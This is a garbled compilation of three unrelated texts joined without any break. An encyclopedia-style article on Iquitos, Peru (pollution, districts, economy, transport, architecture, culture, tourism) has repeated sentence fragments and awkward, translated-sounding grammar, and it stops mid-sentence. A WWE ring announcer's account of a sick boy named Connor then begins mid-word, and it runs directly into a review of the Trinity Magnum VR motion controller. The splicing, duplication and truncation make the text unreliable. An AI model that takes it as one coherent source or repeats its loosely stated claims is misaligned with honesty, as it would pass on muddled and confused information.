The government and several environmental organizations in Iquitos began spreading environmental education of citizens, and the results obtained were of slight beneficial impact gradually. However, the garbage (usually piled in mounds) still appears in various parts of the city, due to the lack of environmental awareness in the majority of citizens. In 2013 the city attempted to launch a recycling program for plastics but did not get beyond the initial test stage. Most waste is brought to an uncovered dumping area next to the Iquitos-Nauta highway. Plastics and other toxic and non-biodegradeable products are still thrown in the river.
Noise pollution caused by their bustling public transport also seriously affects the city, and has always been tolerated ignoring alarms despite charging high intensity in recent years. The frenetic urban noise up to 115 decibels exceeds the desirable level (70 dB) indicated by the World Health Organization and, therefore, makes Iquitos in the noisiest city in Latin America.
On the hydrological, Iquitos encourages the protection of Nanay River basin because it is major, natural drinking water supply.
Iquitos still practices the addition of lead to gasoline, which results in a fine grey dust that pervades the city indoors and out.
Illegal logging and illegal hunting and trading of rare and endangered species are also major environmental issues in Iquitos. This area has long been plagued by abuses to the few existing environmental protection laws, as well as a deeply entrenched wood laundering system so that illegal wood appears to be legal upon sale to international corporations. Local markets actively trade in rare and endangered species, much to satisfy tourist and foreign demand. In both of these arenas, the locals who work the hardest sourcing these products from the forest get the least compensation, if any at all.
Metropolitan area [ edit ]
1: Iquitos 2: Belén 3: Punchana 4: San Juan Bautista. The suburban and urban production zones are narrowly close to urban areas, especially south of San Juan. The limits are indicative because the city experienced a remarkable expansion. The four urban districts of Iquitos:. The suburban and urban production zones are narrowly close to urban areas, especially south of San Juan. The limits are indicative because the city experienced a remarkable expansion.
The city is the urban core of Iquitos Metropolitan Area. It is a conurbation consists of four districts that are heavily populated in the city, while rural areas become more so away from the downtown. The Iquitos District is the urban origin of the city and the metropolitan area. Moronacocha, which has 85,000 inhabitants, could become the fifth district of Iquitos.
Iquitos is composed of four districts.
Iquitos (Iquitos District: 163,594 inhabitants) [15] is the main district of the city, and is the most visited by tourists. The center of Iquitos, located in the heart of the district, is best known, and it has most of the activities of economy, culture, entertainment, art and commerce of the city. The Plaza de Armas is the tourist point of departure for most tourists, along with the Casa de Fierro, the Iglesia Matriz, the former Palace Hotel, the Boulevard de Iquitos, the Malecon Tarapaca and the Amazon Library.
(Iquitos District: 163,594 inhabitants) is the main district of the city, and is the most visited by tourists. The center of Iquitos, located in the heart of the district, is best known, and it has most of the activities of economy, culture, entertainment, art and commerce of the city. The Plaza de Armas is the tourist point of departure for most tourists, along with the Casa de Fierro, the Iglesia Matriz, the former Palace Hotel, the Boulevard de Iquitos, the Malecon Tarapaca and the Amazon Library. Belén (Municipality of Belen District: 74,551 inhabitants) is one of the districts of the city known mainly for its intense commercial activity and the Belen Neighborhood, called the "Venice" by iquiteños. It is located on the east side of Iquitos and was created on 5 November 1999.
(Municipality of Belen District: 74,551 inhabitants) is one of the districts of the city known mainly for its intense commercial activity and the Belen Neighborhood, called the "Venice" by. It is located on the east side of Iquitos and was created on 5 November 1999. Punchana (Municipality of Punchana District: 85,179 inhabitants) [15] [16] is the northern district of Iquitos and was created on 17 December 1987, and is characterized more by its port activity and Bellavista-Nanay market. Punchana capital has a small district capital called Villa Punchana. 90% of the district is composed of urban land, while 10% is rural. In the history of Iquitos, Punchana started as a small hamlet and the name of the district is due to a kind of wild agouti, which was cared for in a breedingground at the beginning of the 20th century. [17]
(Municipality of Punchana District: 85,179 inhabitants) is the northern district of Iquitos and was created on 17 December 1987, and is characterized more by its port activity and Bellavista-Nanay market. Punchana capital has a small district capital called Villa Punchana. 90% of the district is composed of urban land, while 10% is rural. In the history of Iquitos, Punchana started as a small hamlet and the name of the district is due to a kind of wild agouti, which was cared for in a breedingground at the beginning of the 20th century. San Juan Bautista (Municipality of San Juan Bautista District: 124,143 inhabitants), colloquially known as San Juan, is the largest district of Iquitos, and which is constantly expanding to the south of the city due to the arrival of new families to the city —also embraces remote areas beyond the urban Iquitos, such as the Quistococha Resort and Zoo.[18] Before promoted as a populous district in the presidency of Fernando Belaunde in the 1960s, the district was a sparsely populated road. Currently, several human settlements are in the "expansive" border areas. In this district, there are several tourist spots such as the San Juan Craft Market, the beaches of Santa Clara and St. Thomas, and Allpahuayo-Mishana National Reserve (located in the Iquitos-Nauta Highway).
The metropolitan area of Iquitos is also organized by another system subdivisions, less known by the local colloquialism.
Downtown Iquitos houses the historical extension of Iquitos, and its main shopping and entertainment movement. This includes closely eastern union between Iquitos and Belen districts.
houses the historical extension of Iquitos, and its main shopping and entertainment movement. This includes closely eastern union between Iquitos and Belen districts. North Iquitos comprises Punchana and northern Iquitos.
comprises Punchana and northern Iquitos. South Iquitos comprises mostly to San Juan Bautista, sectors such as Terminal and much of its length south.
comprises mostly to San Juan Bautista, sectors such as Terminal and much of its length south. West Iquitos comprises the western parts of the Iquitos District as Moronacocha.
comprises the western parts of the Iquitos District as Moronacocha. East Iquitos would be hosting in all the Belén District, and the eastern part of Belén.
Economy [ edit ]
A block of Jiron Prospero, one of the four major avenues of the city with shops along its length.
Iquitos is the main center of commerce, tourism and industry in the Amazon rainforest with the world. As gateway to the Peruvian Amazon, the economy of many parts of the region come to Iquitos for sustainable control. The Economic Development Management of the Provincial Municipality of Maynas is responsible for regulating and regulate trade, business development and employment, tourism and rural production both Iquitos District as whole Maynas Province. Meanwhile, the Chamber of Commerce of Iquitos is headed by economist Victor Manuel Valdivia Barberis.
The city is a major center for finance, sales, transportation, tourism, media, while major industries that work is the timber, petroleum, gas, flour milling, oil, rum, camu camu and bakery. The fishing industry is another big support for the economy of the city. The Belen Market has a frenetic commercial activity that is part of its economy. Iquitos has great financial backing has been able to help it progress now since its role in the rubber boom, although must be overcome with effort after the rubber was no longer produced in the city. The petroleum industry, despite being outside the urban area of Iquitos, has greatly influenced its evolution. In addition, trade has mainly helped the growth of the city. In San Juan Bautista, economic development is based on agriculture (sugar cane, pijuayo, caimito), fish, poultry, livestock (cattle, bubaline) and mining. The petroleum, one of the most precious resources, extracted mainly from the region northwest of Loreto and part of it is transported to the refinery in Iquitos. The timber transport is another important economic factor, however, due to the Free Trade Agreement between Peru and the United States, the gross exploitation of timber has decreased considerably.
According to Rolando Arellano, president of Arellano Marketing, describes the Iquiteño consumer to have greater preference for a "Western model with a more modern orientation than the Peruvian-Andean lifestyle".
With projects of large malls, the city still has a trade-in retail stores and minimarkets throughout the metropolitan area, more strongly in main avenues such as Prospero, Arica, Grau and Alfonso Ugarte located in the center of Iquitos and the Belén District. Retail distribution of imported products has created regional and social stratification that goes from the merchant importer to urban retailer, which serves as a strong link between the urban and rural economy.
Companies located in Iquitos include Amazónica, Backus, Banco Continental, Banco de Crédito del Perú, Banco de la Nación, Banco Financiero, Bata Shoes, Claro Americas, CrediVargas, DHL Express, DirecTV, Electro Oriente, Galerías Quispe, Supermercado Pacific, Honda, Husqvarna AB, Inkafarma, Interbank, Los Portales, Mapfre, Motocorp, Multicines Star, Orvisa/Caterpillar, Persa, Petroperú, RadioShack, Scotiabank, Shambo, Special Book Services, Telefónica/Movistar, The Coca-Cola Company, Topitop, Western Union, Yamaha Corporation, among others.
In the coming years, companies like Ripley, Saga Falabella, Metro, Plaza Vea, Tottus, among others, will be available.
Education [ edit ]
Iquitos is home to numerous research projects on ecology related to ornithology and herpetology. Cornell University owns a field station dubbed the Cornell University Esbaran Amazon Field Laboratory. Founded in July 2001 under the direction of Dr. Eloy Rodriguez, the facility is dedicated to education, conservation, and the discovery of novel medicinal compounds from applied field chemoecology.
The field lab strives to survey and catalog the biological diversity found along the Yarapa River Basin. It provides researchers with field experience in the broad range of disciplines necessary for this task. Another major goal is to explore value-added derivatives of biodiversity. This includes both tangible returns, in the form of new discoveries in the biomedical and related sciences, as well as less tangible goods, such as the promotion of ecotourism and an ecological ethic. They work to ensure benefits to the local communities, and to participating students and researchers.
Universities [ edit ]
Iquitos has four universities: Universidad Nacional de la Amazonía Peruana (UNAP), the local state university; Universidad Particular de Iquitos (UPI), Universidad Científica del Perú (UCP), Universidad Peruana del Oriente (UPO) three private institutions. It is also home to the Instituto de Investigaciones de la Amazonía Peruana (IIAP), the Institute of Investigation of the Peruvian Amazon.
Transport [ edit ]
Abelardo Quiñonez Avenue located in south of Iquitos. It is a larger preferential roadways.
Iquitos has a personality very different from the rest of Peru and even different from other South-American Amazonian cities. The streets of Iquitos are dominated by more than 25,000 auto rickshaws or motokars, known in the rest of Peru under the name of mototaxi, and for foreigners as auto rickshaw or tuk-tuk, providing taxi service. The buses are large vehicles made of wood with direct routes.
Iquitos is widely regarded as the largest inland city that is inaccessible by road. The air and river transport are the main means for entry or exit of people and goods to the city, since the cost of living in this city and people of the region is generally higher than the Peruvian standard. It is considered that Iquitos is the second most expensive city in Peru after Cusco. A proposed road link to Sarameriza, to be completed by 2021, would connect Iquitos to the country's road network.[19]
The city has renewed Crnl. FAP Francisco Secada Vignetta International Airport where domestic and international flights operate. In the domestic terminal there are routes from Lima and other Peruvian provinces. While in the international terminal there are flights from/to Panama City on wednesdays and saturdays with Copa Airlines also connecting from/to USA, Mexico, Canada, Central America & Caribbean, Colombia, Ecuador, Venezuela and Brazil. There are between 8 to 9 daily flights to Iquitos from Lima, some make intermediate stops in Pucallpa and Tarapoto. Air routes are served by four companies: LAN Perú, Peruvian Airlines, Star Perú and Copa Airlines. The direct flight between Lima and Iquitos takes 1 hour and 45 minutes. Copa Airlines provides international flights to the city with Panama and the Americas from the 14 July 2012. Since June 2011, the Central Government of Peru provided two de Havilland Canada DHC-6 Twin Otter for operations across the region.
Iquitos can be reached from any foreign port or waterway in the Peruvian Amazon.
Cityscape [ edit ]
Architecture [ edit ]
Ex Hotel Palace; Ex_Hotel_Palace] The former Hotel Palace [[]](built from 1908 to 1912) by Samuel Young Mass, located on the first block of Jiron Putumayo, in an area known as the Malecón Tarapacá
Iquitos has architecturally significant buildings in a particular range of structural remnants were built during the rubber boom of the 1880s. Comprise mainly European/Amazonian-style buildings with ceramic tiles imported from Italy and Portugal, and its unique, French architecture called Casa de Fierro built by Gustave Eiffel, who built the original house in Paris for an exhibition of 1878.[20][21] However, the structure is not the only European urban appeal: the city is also characterized by the rustic architecture or conventional as the palafitte, malocas and huts that are located primarily in the areas of the city.[22]
Historically, the first native inhabitants of the settlements built their houses of sticks and leaves and other natural resources, which were tailored to protect the climate, wildlife and other hazards.[22] The styles of housing in those settlements up the huts and cocameras, used as a large communal houses. Other peculiar conventional architectures are characterized by firmness and isothermal conditions; they are categorized into three types of home: quincha —built with posts and giant cane—, rammed earth —resistant and isothermal—, and adobe —irm with the same isothermal condition.[22][23]
The rubber boom of the 1880s caused a severe change in the architectural face of Iquitos. Foreign and rubber barons brought with them the influence of countries like Spain, Portugal, France, Germany, and descendants as Sephardim. Jose de Jesus Reategui and a young group built the main features of the urban city in the years of boom, including the Iglesia Matriz de Iquitos.[22] In the Iquitos popular belief of the 19th century, iron was considered less humane and aesthetic, but Gustave Eiffel got the Casa de Fierro became an attraction in the city, although historically the prefabricated building was not designed to Iquitos.[22] Baroque and Rococo style also influenced the architecture of Iquitos, and defense against the rain was another prominent feature given for buildings.[22] About 90 buildings are declared architectural heritage of Loreto.[22]
Culture and contemporary life [ edit ]
The Plaza de Armas and the Iglesia Matriz (nearly the middle of the image) in the Downtown Iquitos.
The Iglesia Matriz de Iquitos is characterized by its Gothic Revival style and Swiss clock. It is considered one of the urban symbols of the city.
Accustomed rainy scene in Iquitos. In the picture the Plaza de Armas at night.
Iquitos has vibrant, unique, complex and diverse culture, and is regarded as cultural hub that meeting the Peruvian Amazon, according to Lonely Planet. Many natives visit the city to present their dances or sell their crafts. It also brings a wealth of customs and traditions remained considerably over the years and in the Iquitos calendar, between her festivities, cuisine, Spanish accent and mythology. Currently, its culture is undergoing an impetuous transition to a contemporary level to preserve their traditions with innovative art movements.
One of the main factors of the traditional cultural energy of Iquitos is Amazonian mythology, which has a range of characters, identified by folklore in imaginary beings. Many of the legendary beings, with appearances motivated by local geography, have powers and influenced much in agriculture and worldview of Iquitos. The dance and music, a mix of indigenous and mestizo heritage are closely related to the meanings of mythology, and also with the life of the citizen and Amazonian villager.
The complex cultural life of Iquitos consists mainly of native iquiteños, Brazilians, Colombians, Chineses and settled expatriates ethnicities. The term "charapa culture" generally refers to social, cultural and artistic movements of Iquitos.
Iquitos has a unique culture that is strongly felt, as the following quotes says:
“ We are in the city of the alteration of the senses. [...] What is striking me is the ease with which iquitenses [sic] engage in conversation with tourists, with a warmth and naturalness that is rarely seen in my native place. ” — Max Palacios, in his blog Amores bizarros.
“ Although I'm a veteran of several South American adventures, Iquitos appealed to me as a quirk - a jungle city seems a contradiction and this would be my first Amazon visit to include the cosmopolitan luxuries of a real bed and shops. I'm fascinated at the very audacity by which such a city exists, thousands of kilometres from anywhere and with no roads to get there. ” — Jade Richardson, in an article titled "In an urban jungle"[24]
“ Nothing more appropriate to think of a fantastic city as a city of Atonement. Iquitos is an island, surrounded by an immense and immeasurable river, an island that goes wherever you go one to be crossed with fresh water and warm, with boats and small kids, with men and boys in the sun on the beach, with sirens and buzzards and myths. A city that faced conflicts and wars against three countries, which suffered considerable infighting and even for some months it has its own currency. Island, yes; city, yes. ” — Edwin Chavez, writing about the idiosyncratic essence of the city.
Contemporary cultural movements began in the city, such as the Amazonian pop art and Amazonian graffiti—with Pukuna 8990 being the most revolutionary graffiti movement—Iquiteño music subgenres of electronica, hip hop, rap, heavy metal, French jazz, punk, psytrance/full-on, next to traditional Amazonian music. The Children's and Youthful Symphonic Orchestra of Iquitos is the main symphonic group in the city.
Iquitos has been benchmarked over the years in literature and film. The Peruvian writer Mario Vargas Llosa wrote his work Captain Pantoja and the Special Service inspired by the city. Francisco Lombardi's 2000 film, based on the novel by Vargas Llosa was filmed in this city. In Rómulo Gallegos-winning The Green House (1965) and The Dream of the Celt (2010), other novels of Mario Vargas Llosa, also part of the plot occurs in Iquitos.
Entertainment and arts [ edit ]
Iquitos has an intense tourist movement in the entertainment, which is based on specific points located throughout the city. With a growing organization of entertainment today, the city has always had groups concerned to project the Iquitos arts such as dance, music, film, painting, literature and theater.
In the visual arts, the city is the birthplace of Amazonian pop art (also known wild naive)[25] which is a unique, self-taught, pop-art style of the city, and is notable for its "sparkling" chromaticism, and makes a reference to hallucinogenic ayahuasca experiences. Originally, it is a mural art that blends prominently the colorful amazonian culture, European motifs and commercial characters, which may be influenced by American pop art, especially MTV.
In several works of painters iquiteños (such as Christian Bendayan, Roldán Pinedo, Elena Valera, Rember Yahuarcani, Brus Rubio and Victor Churay), Amazonian pop art legacy has been a visual reference to create avant-garde works of contemporary life in the city and Amazonian culture.
The Dirección Regional de Cultura (formerly known as Instituto Nacional de Cultura del Perú), with headquarters in the city, mainly funded events and arts festivals in the city, although there are also small indie or underground groups that conduct their own cultural events. The city has many small festivals; the highlights are Estamos en la Calle, Iquitos Outfest, and other small annual events.
The city is known for having a remarkable celebration, called simply Carnaval. During this festival, mainly pagan, celebrants are dedicated to wetting people with cabaciñas or other instrument. Many choose to be more extravagant, wetting with various substances such as paint or other object as cause for celebration. The celebration is unique each year in February. The carnival is heavily influenced by myths and rich Amazonian culture. It also celebrates the Day of San Juan, referring to John the Baptist as patron saint in the Peruvian Amazon, whose feast is celebrated on 24 June. The main element is the juane and other own dances as shunto jump.
Cinema [ edit ]
Iquitos has a major cinematic history, which originated from the arrival of foreign families during the rubber boom in the early 20th century. A group of people brought technology, including projectors of the Lumiere brothers.[27][28][29] The most important pioneer of cinema in Iquitos and the Loreto Region is Antonio Wong Rengifo; alongside this, other filmmakers such as Werner Herzog, Armando Robles Godoy, Nora Izcue, Federico García, and Dorian Fernández-Moris prolonged the cinematic presence in the city. Iquitos was and is used as a cultural scene, reference, and shelter for many filmmakers.[26]
Major films filmed in Iquitos and its surroundings are:[26] Frente del Putumayo (1932) and Bajo el sol de Loreto (1936) by Antonio Wong Rengifo; No Stars in the Jungle (1966) and The Green Wall (1969) by Armando Robles Godoy; Aguirre, the Wrath of God (1972) and Fitzcarraldo (1982) by Werner Herzog; Informe sobre los shipibos (1974), Los hombres del Ucayali and Captain Pantoja and the Special Services (2000) by Francisco Lombardi, and General Cemetery (2012) by Dorián Fernández-Moris.[30]
Despite having a long filmography, the film industry promoted the city is not too hard in his only commercial film theater. However, there is cultural and underground groups concerned with projecting films at festivals or private cinematheque as a way of cultural development. There is also small groups of self-taught filmmakers who record their own stories. The film genres with more presence are documentary, nature, drama, art house and, recently, horror and found footage in General Cemetery. At first, with Wong Rengifo, was shot slice-of-life/documentary films[26][28][30]
Tourism [ edit ]
From top to bottom: Lower area of Belen District, Iquitos, and signature Amazonian horizon surrounding the city.
Tourism is one of the most vital industries in Iquitos, which has a growing reputation as a honeypot due to its location on the banks of the Amazon River, one of the seven natural wonders of the world. Through the years, Iquitos receives a considerable number of foreigners; the tourist index grew by international flights offered by the city's airport. Tourism in the city formed into European-style architecture, cuisine, drinks, art, culture, worldview, Spanish accent and historical references of Loreto. Iquitos has adequate infrastructure to accommodate tourists from all levels. It has a 5-star hotel, many of 3-, 2-, and 1-star rating.
The major tourist attractions include Barrio de Belén, Plaza de Armas, Casa de Fierro, Ex Hotel Palace, Iglesia Matriz de Iquitos, Allpahuayo Mishana; Embarcadero Bellavista-Nanay, ethnic communities located around the city, Quistococha Resort and Zoo; Mercado Artesanal of San Juan. iperú is the leading tourist guide service that is offered to tourists at the airport and the city center of the city.
The city is also home to unique tourist companies as Amazonia Expeditions, Maniti Camp Expeditions, Otorongo Expeditions,[31] Amazon Golf Course,[32] and Project Amazonas (dedicated to research and conservation). Special experiences outside the key tourist areas of the city include the Camiri —a floating hotel—, the Isla de los Monos, the Pilpintuwasi butterfly zoo, Iquitos-Sunkaruqucha Corrientillos-King Kong-Nina Rumi circuit, and adjoining districts such as Mazán, Indiana and Bellavista
In 2010, Iquitos received about 150 thousand tourists.[33] The following year, in 2011, the index fell to 46,000 tourist foreigners, which expects 10% rise rapidly in 2013 with international flights opened in July 2012 and the Amazon River as a natural wonder.[34]
Ayahuasca is known as a major cultural landmark, and mystic tourism has increased in Iquitos in recent years. The drink, made from the vine Banisteriopsis caapi, is investigated by the Western people with a medicinal purpose and study, and was named the nation's cultural heritage.
Dangers, however, still exist when coming into contact with the drug. Shamans are not regulated and none have proof of credentials. Whilst deaths in Iquitos are rare, they have been reported, including Frenchman Fabrice Champion and American Kyle Nolan.[35]
Iquitos is home to the annual Amazonian Shamanism Conference.[36] Here, like-minded individuals meet in Iquitos yearly to discuss Ayahuasca.
Amazon commemorative capital [ edit ]
Iquitos is home to the 120 kilograms (260 lb), bronze commemorative plaque of the Amazon River basin as one of the seven natural wonders of the world, which was granted on 13 August 2012 by Fernand Weber, founder of New7Wonders. The distinction is shared with Bolivia, Brazil, Ecuador, Suriname, Colombia, Venezuela and French Guiana, however, recognition was given to Peru which originally ran for the Amazon through the Regional Government of Loreto based in Iquitos.
The awards show was held |
etime him during the day while everyone was hanging out at the arena for that night’s show.
I had a great relationship with the rest of the talent and they were very open to doing anything they could to help everyone out. I would walk around the arenas on Monday and ask various stars and even behind-the-scenes friends to say hi to my friend Connor on Facetime. Over the weeks, he established a friendship with all of these great people. Vickie Guerrero, Kane, The Bella Twins, Dolph Ziggler, Mark Henry, Ryback, Charles Robinson, New Age Outlaws, Big E, Mick Foley and Daniel Bryan. These were his heroes and he was quickly becoming theirs as he made friends with all of them. Mondays at the hospital weren’t fun, but his father told me how he looked forward to the call and always used that to help Connor get through the sessions. “Who do you think Justin will call with today?” he would ask. I was determined to prove the doctors (who were amazed that he was still walking around) wrong and I really started to think it was possible.
I wanted to do anything and everything I personally could, to keep him fighting and hanging on. I would give updates to Stephanie McMahon who seemed very interested in keeping track of Connor and his progress. I told her my plan to use the power of WWE to do what medicine could not. I told her about the voiceover on the video game and I even pitched an idea that would bring that to real life!
I invited Connor and his family to come to DC for an episode of Monday Night RAW, right before WrestleMania. Stephanie asked if there was anything she could give him that he might like. I suggested maybe an Intercontinental Championship replica…I told her I had this crazy idea about being in the ring earlier in the day, before the show and before the fans were in the building. I would introduce Connor, like I introduced the superstars. He could come to the ring with a full entrance, just like the wrestlers. He could get into the ring, where he would be approached by Big E who at the time was the Intercontinental Champion. RVD called Connor the interConnornental champion, so maybe Big E told him to push him, he fell over and Connor pinned him and I would announce him as the new Intercontinental Champion! But then…Triple H and Stephanie, who were the authority figures of the show, would come out and hand him his own replica title and call him the new InterConnornental champion!
I got the runaround on the idea and was told to go through other channels. So I did. I wasn’t sure how it would play out, but I contacted Ryan from onehourtees.com in Chicago who did really good work. He not only designed a graphic for Connor, but he sent me a box of Connor t-shirts at the arena and also sent me the graphic to give to the stage designers, just in case the plan came into fruition.
Everything was all set. I got his family a hotel room right outside of town in case he was tired on the drive up, got them ringside tickets and couldn’t wait to watch Connor hang out with all of his new friends. I introduced him to Undertaker, Brock Lesnar, Hulk Hogan…I’ve never introduced my own family members to these stars. Nothing and no one were off limits for my buddy. The guys and girls were amazing to Connor, all day. I have lots and lots of stories about his interactions with them and they were all amazed away by this little man.
Stephanie had started contacting them on her own and even decided to invite him to WrestleMania, which I thought was incredible. She let me invite him personally, so I got to see his face light up while I did that over Facetime.
Connor was on top of the world when he found out he was going to WrestleMania. He pointed and said“Yes! Yes” as he ran around all day
When he got to the building in DC, I had sent her a text letting her know that they were there. Shortly after we made our rounds, we met up with her. Connor gave her a big hug and thanked her for the invitation, then presented her with a necklace and gave me a bracelet along with a stone that had his picture in it. He told me that if I ever wanted to think of him, all I had to do was look at that stone. I appreciate that gift and look at it all the time.
We walked out into the arena from the stage and were approached by Triple H. He said hello to Steve, Steve’s father and Connor. He asked Connor if he were to walk to the ring, what music would he come out to? I thought to myself, Daniel Bryan-duh. Connor responded the same, minus the duh. As he started walking away, I called out “Triple H. If he’s walking to the ring, I sent the stage designers a graphic for the entrance wall.” He just talked into his headset and walked away. Daniel came over to say hello and gave him the sweatshirt off his back along with a hug. Before I knew it, the music hit — the graphic was up on the video wall and my plan to have him walk to the ring was happening. Unfortunately, I was no longer a part of my plan. I wouldn’t get to announce him and Big E wouldn’t be in the ring with him, but now Triple H would play that role. While it would have been very special to introduce him to the ring and announce him as the winner, being in there with the guy that was feuding with his hero was just as cool for him as announcing would have been for me, so I was just happy that this was taking place. On top of that, the locker room was around the ring and they cheered him on as he walked down the aisle and into the ring. It was an amazing moment. I stood in the aisle, watched, and recorded the video on my phone. And even though I wasn’t able to perform my dream part of it (after dreaming it all up), I knew how thrilled Connor was and that was all that mattered.
He had an incredible day and night. The next week, his father took him to WrestleMania where Stephanie’s team took care of all of the arrangements. They had a blast. Watching Connor’s face all night was the highlight of announcing that show. Daniel spotted him in the crowd and after he won the Championship, he approached, talked to and hugged Connor. He was cured, if only for just one night.
From there, Steve took Connor to Florida where he was able to play on the beach. Connor loved the beach. He would send pictures and we would Facetime. His health started to decline right after that. Stephanie told me that she wanted to put together an internal video for the employees of the company, to see the effect WWE has on people. The cameras recorded Connor at the arena, during WrestleMania and a producer would be calling me to discuss. I thought it was a great idea, even though I figured that it wasn’t just for the employees. I assumed it would make its way out to the public as well. I was ok with that; it was a beautiful story about making my friend happy. Connor and his interactions with the heroes who were helping him numb the pain, and all in the world of WWE. I just didn’t realize that when they retold this story, it was going to become just like those other reality-inspired storylines I mentioned earlier.
The next week came and went. The plan changed and only Stephanie and Daniel Bryan were interviewed. Stephanie was generous to Connor. Daniel was always good to him when they were face to face at the arenas. Daniel is a quality person and incredible performer. I feel bad that the company put him in a position where people on the outside might assume they were closer than they were.
When the video came out, I was surprised, maybe more surprised than I should have been, to discover that reality was not a part of the story. The company told the story the way they wanted it to be told. And then I remembered: that’s just what the company does — it tells stories. Maybe I experienced this one too personally to see it distorted, but it was not easy to take.
Connor fought a hell of a battle and eventually, the battle ended and he was laid to rest. I found myself Googling stories about him and finding pictures and videos of his wonderful community and how he obviously touched them as well. They all supported him, as did the Pittsburgh Pirates. This little eight-year-old touched more people in his short time than most will in a lifetime.
Triple H played the video at the arena for the talent to see. I couldn’t look at the screen, because I knew what happened the couple of times I watched from home, so I just listened. It was sad to watch, because my friend was gone. On top of that, it stung quite a bit to see how the company revised my history. Still, while the messages from Stephanie and Steve differed from the video, the smile on Connor’s face was the most meaningful thank you I could ever receive.
When this whole thing started, I never wanted anything other than to help Connor. So I kept my mouth closed and went on with my work. The company decided to form an organization in Connor’s name. “Connor’s Cure,” if you’d like to donate. After starting their own charity, they began playing that same video every night, at every event, which meant that as the ring announcer, I had to watch this video every single night and then talk about it afterwards to an audience of thousands of people. Between how sad it was not to have Connor anymore, and to be forced to watch a revised version of history — a story that was very personal and meaningful to me — the sting deepened. My boss even made a joke out of me making the announcement at the TV events. He would time me and threaten to cut my microphone if I did not finish the announcement fast enough. And this cavalier attitude was especially frustrating for me. After all, it was important to the company to show this video (bordering on propaganda), and the company wanted me to say something after — but make it snappy!
The Hall of Fame video package prominently showed Connor and John Cena in front of a Make-A-Wish banner. I love that foundation and everything they do to help kids. I knew that they couldn’t help everyone and always tried to help anyone I could who may not have gone through the proper channels, but still needed a little help and were right there at the arena. It was tough when I had to remember, this is business, and to the company, this story had gone from a genuine one, to business. I know Connor would love knowing that he is a Hall of Famer and that he’s famous! I’m happy that the terrible last few months of his precious life were just a little better than how they could have been. I miss him and I am glad he was a big part of my life. I see a lot of him in his little brother Jackson and the witty things he says and does to make me laugh. I’m also happy that he is in the Hall of Fame. There’s no doubt he could have ended up there later in life. He was brave, tough and an all around special person.
WWE told a version of the Ultimate Warrior’s story from last year. WWE told a version of Connor’s story. I just wish while telling stories, the company’s actions matched their words — they should actually care for the welfare of the people who actively care about the company and devote their lives to making it the best it can be. I wish instead of just paying for rehab of former talents, WWE would take care of the current talent who are on the road nonstop, with no breaks unless they are already injured. I wish they would appreciate those employees who have been there for years and helped them to grow, rather than fire them after they’ve been there “too long.” I watched the Hall of Fame and cried my eyes out. I bit my tongue and swallowed my pride for a long time, hoping everything stemmed from the kindness of their hearts. I thank all of the talent and employees who did and still do everything to help people, out of their kindness and not for business purposes. When I was reading Twitter this weekend, I felt like I was punched in the gut. Despite rewriting the story and using it to pat themselves on the back for being a standup organization, I wish Connor’s Cure and Connor’s induction into the Hall of Fame were driven by sincerity and not strategy. But sadly, it looks like they are just part of the “philanthropic” future of marketing:The Trinity Magnum is the latest VR motion controller to enter the arena. Following devices like STEM and PrioVR, the Magnum aims to bring an optically tracked solution to the market and one that’s significantly less expensive. Recently I got to try the Magnum for myself and sat down with TrinityVR’s Chief of Product, Julian Volyn to learn more.
The Trinity Magnum approaches the VR motion controller in a similar way as VR smartphone adapters do the VR headset space. Rather than shelling out for lots of hardware, why not leverage hardware people already have?
The foundation of TrinityVR’s motion input is an optical tracking solution which taps into the OpenCV project, an open-source library for computer vision processing. The company says that many consumers already have OpenCV-compatible cameras built into their laptops, if not even higher performance cameras like the PlayStation Eye or Microsoft Kinect. As Julian Volyn, TrinityVR’s Chief of Product points out, the great thing about this approach is that the performance of the Trinity Magnum increases as webcams and OpenCV improve.
TrinityVR launched a Kickstarter last week; the company aims to raise $60,000 to get the Trinity Magnum developer kit into developers’ hands.
Though Volyn had to spend some time dialing values to compensate for the lighting of the room we were in, once it was calibrated the tracking performance was impressive. Above you can see a video from the company’s Kickstarter showing the robust tracking, even when passing through high contrast regions. So long as TrinityVR can nail automatic scene calibration, this type of optical tracking could work very well as a VR input solution.
TrinityVR even expects that they can use the Oculus Rift DK2’s IR camera for tracking; they say a contact at Oculus has confirmed that it will be possible. It’s great to know that Oculus is leaving the DK2 IR camera open and accessible to developers—hopefully something we’ll see even into the release of the consumer Oculus Rift (CV1).
In my time with the Trinity Magnum prototype, the controller was tracked with the PlayStation Eye camera. TrinityVR points out this is a surprisingly inexpensive camera with solid performance. You can pick it up for $10 and enjoy 60 or 120 frames per second (depending upon resolution) with up to a 75 degree field of view. No wonder—the PlayStation Eye is also compatible with the PlayStation Move, which uses the same tracking technique as the Trinity Magnum. The difference of course, is that the Move can’t be used on PC without a hack.
While optical tracking takes care of the position of the Magnum, an IMU tracks its orientation. The company says that, with the PlayStation Eye, the Magnum is capable of rotational accuracy under 2 degrees at 95hz and positional accuracy under 3mm at 75hz, all with latency under 30ms. With a better camera, the positional performance would improve, says TrinityVR.
In my time with the Magnum prototype, I was impressed with the accuracy of the system. I was dropped into their Boot Camp demo where I could run around and shoot exploding barrels. The fusion of the positional and rotational data allowed me to aim at distant barrels, using the virtual laser sight, with ease. From time to time I did find what seemed to be an odd “sweet spot” in the IMU where the virtual gun would fight back when I wanted to rotate it. This is presumably just a quirk of the IMU and perhaps a result of the 3 month-old prototype that’s been to numerous tradeshows.
In the Boot Camp demo, turning was configured so that when you tilt the gun, you turn left or right accordingly. This felt a bit unintuitive to me, but it was necessary as the prototype only had one joystick which was used for walking—and of course developers are free to implement their own control schemes.
I also tried the Z0NE demo (formerly Rift Wars) which will have support for the Magnum. It allowed me to control a gatling gun on the front of the ship and blast cubes in front of me. It was definitely more intuitive than using my head for aiming, though currently the implementation doesn’t utilize the Magnum’s positional tracking capability.
The ergonomics on the prototype definitely need some work. To that end TrinityVR has partnered with Cinder Solutions who are running prototype designs through focus groups and user testing. The final design hasn’t been decided upon yet, but based on the mockup (pictured above), they are heading in the right direction.
My biggest concern with an optical tracking solution is of course occlusion (when the tracking orb is hidden from the camera). Right now the Trinity Magnum is really only suitable for a sitting experience. If you were to stand up and use your body for rotation instead of a joystick, the camera would lose sight of the tracking orb—though the same issue remains for positional tracking on the Oculus Rift DK2 and Sony’s Morpheus. Volyn did say it’s possible to use multiple cameras (or an overhead camera) to solve this problem. TrinityVR will reveal more details soon regarding overhead and multicam setups in an update on their Kickstarter campaign.
